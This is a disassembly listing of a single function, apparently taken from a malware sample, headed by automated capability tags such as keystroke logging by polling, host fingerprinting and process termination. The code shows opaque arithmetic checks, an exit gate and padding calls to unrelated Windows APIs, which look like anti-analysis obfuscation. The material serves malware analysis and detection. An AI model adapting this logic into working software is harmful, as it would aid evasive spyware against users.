Function at 0x1800034d0
Capabilities:
Extract resource via kernel32 functions
Get geographical location
Get hostname
Get memory capacity
Log keystrokes via polling
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
cmp dword [rcx + 0x18], 0
mov rbx, rcx
jne 0x18000375d
call fcn.180050c80
mov r8d, eax
mov ecx, 1
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub r8d, eax
inc r8d
mov dword [rbx + 0x18], r8d
call fcn.18004af90
mov ecx, dword [rbx + 0x18]
mov rbp, rax
sub ecx, 1
je 0x18000373b
sub ecx, 1
je 0x18000355c
cmp ecx, 1
jne 0x180003750
mov edx, 0x3ec0
mov rcx, rax
call fcn.180005fa0
mov qword [rbx + 0x10], rax
jmp 0x180003750
mov ecx, 0xc3f8
inc ecx
mov eax, 0x55555556
imul ecx
mov r9d, ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea edx, [rdx + rdx*2]
cmp ecx, edx
jne 0x180003561
add r9d, 0x1c40c
mov eax, 0xffffff35
sub eax, ecx
mov esi, 0x1094
mov r8d, 0xffffa91e
mov r14d, 0x9ecf
sub r8d, r9d
sub r14d, r8d
lea edx, [rax + 0xb631]
add eax, 0x39cf
sub esi, eax
lea edi, [rdx - 0x2512]
sub ecx, edi
sub esi, edx
sub esi, r9d
sub ecx, 0x845
add r9d, 0x1426
sub edi, r9d
sub edi, 0x1939
add eax, edi
lea r10d, [rsi - 0x5bef]
add r10d, eax
test r8b, 1
je 0x1800035eb
inc r8d
test r8b, 1
jne 0x1800035e2
add r9d, 0xfffff181
test r8b, 1
je 0x180003604
test r8d, r8d
jle 0x180003604
add r8d, 0x2136
sub r9d, r10d
lea r12d, [r8 + rcx]
mov eax, 0x111c
sub eax, edi
sub eax, ecx
add r10d, eax
test r10b, 1
je 0x180003629
nop dword [rax]
inc r10d
test r10b, 1
jne 0x180003620
sub r8d, 0x1f8a
mov r11d, r10d
add r11d, 0x3db5
sub r10d, 0x17ba
add r11d, edi
mov eax, 0x55555556
add edi, 0xffffaa3f
add r11d, r9d
add esi, edi
sub r9d, 0x38ba
imul r9d
lea r15d, [r14 + r10]
add r14d, 0xb5e
mov eax, edx
lea edi, [rsi - 0x1771]
shr eax, 0x1f
sub edi, r8d
add edx, eax
sub r8d, r14d
lea ecx, [rdx + rdx*2]
cmp r9d, ecx
je 0x1800036aa
nop dword [rax]
nop dword [rax + rax]
inc r9d
mov eax, 0x55555556
imul r9d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea edx, [rdx + rdx*2]
cmp r9d, edx
jne 0x180003690
mov eax, 0x55555556
imul r11d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r11d, ecx
je 0x1800036cd
test r11d, r11d
jle 0x1800036cd
sub r11d, 0x18b1
cmp esi, 0xfffae34d
jne 0x18000372f
cmp r15d, 0xffffc2f2
jne 0x18000372f
cmp r14d, 0x38914
jne 0x18000372f
cmp r8d, 0xfff9787c
jne 0x18000372f
cmp r10d, 0xfffc453c
jne 0x18000372f
cmp r11d, 0x1d473
jne 0x18000372f
cmp edi, 0xfffdca4c
jne 0x18000372f
cmp r9d, 0x802c8
jne 0x18000372f
cmp r12d, 0xfffe1073
jne 0x18000372f
mov edx, 0x3ec0
mov rcx, rbp
call fcn.180005fa0
mov qword [rbx + 8], rax
jmp 0x180003750
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, 0x3ec0
mov rcx, rbp
call fcn.180005fa0
mov qword [rbx], rax
nop dword [rax + rax]
mov edx, 1
mov rcx, rbp
call fcn.18004aea4
mov edx, dword [0x1800d7b50]
cmp edx, 0x6e1a3764
jne 0x180003801
call qword [sym.imp.USER32.dll_CloseClipboard]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterWindowMessageW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTimeEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProximityNode]
call qword [sym.imp.USER32.dll_GetOpenClipboardWindow]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadGroupAffinity]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetAncestor]
call qword [sym.imp.KERNEL32.dll_GetErrorMode]
xor ecx, ecx
call qword [sym.imp.USER32.dll_DestroyIcon]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
call qword [sym.imp.USER32.dll_GetInputState]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov edx, dword [0x1800d7b50]
mov ecx, dword [rbx + 0x18]
xor esi, esi
mov edi, esi
sub ecx, 1
je 0x180003823
sub ecx, 1
je 0x18000381d
cmp ecx, 1
jne 0x180003826
mov rdi, qword [rbx + 0x10]
jmp 0x180003826
mov rdi, qword [rbx + 8]
jmp 0x180003826
mov rdi, qword [rbx]
cmp edx, 0xe23f895e
jne 0x18000393f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
xor r9d, r9d
lea rcx, str.8cPvEWTkQSV2X97ezZFH37
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnableWindow]
lea r9, str.8dL49Adhgm9XxTcA8usW79i1aRz9
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rdx, str.D5cqZtBzReCyW5fwBx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerifyScripts]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLocalTime]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetRawInputDeviceInfoW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RemoveClipboardFormatListener]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDefaultCommConfigW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor r8d, r8d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ToAsciiEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLongPathNameTransactedW]
mov eax, esi
xor edx, edx
xchg dword [rsi], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetLastErrorEx]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsThreadpoolTimerSet]
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetActiveWindow]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDlgItemTextW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowRgn]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSubMenu]
mov rbx, qword [rsp + 0x50]
mov rax, rdi
mov rdi, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop r12
ret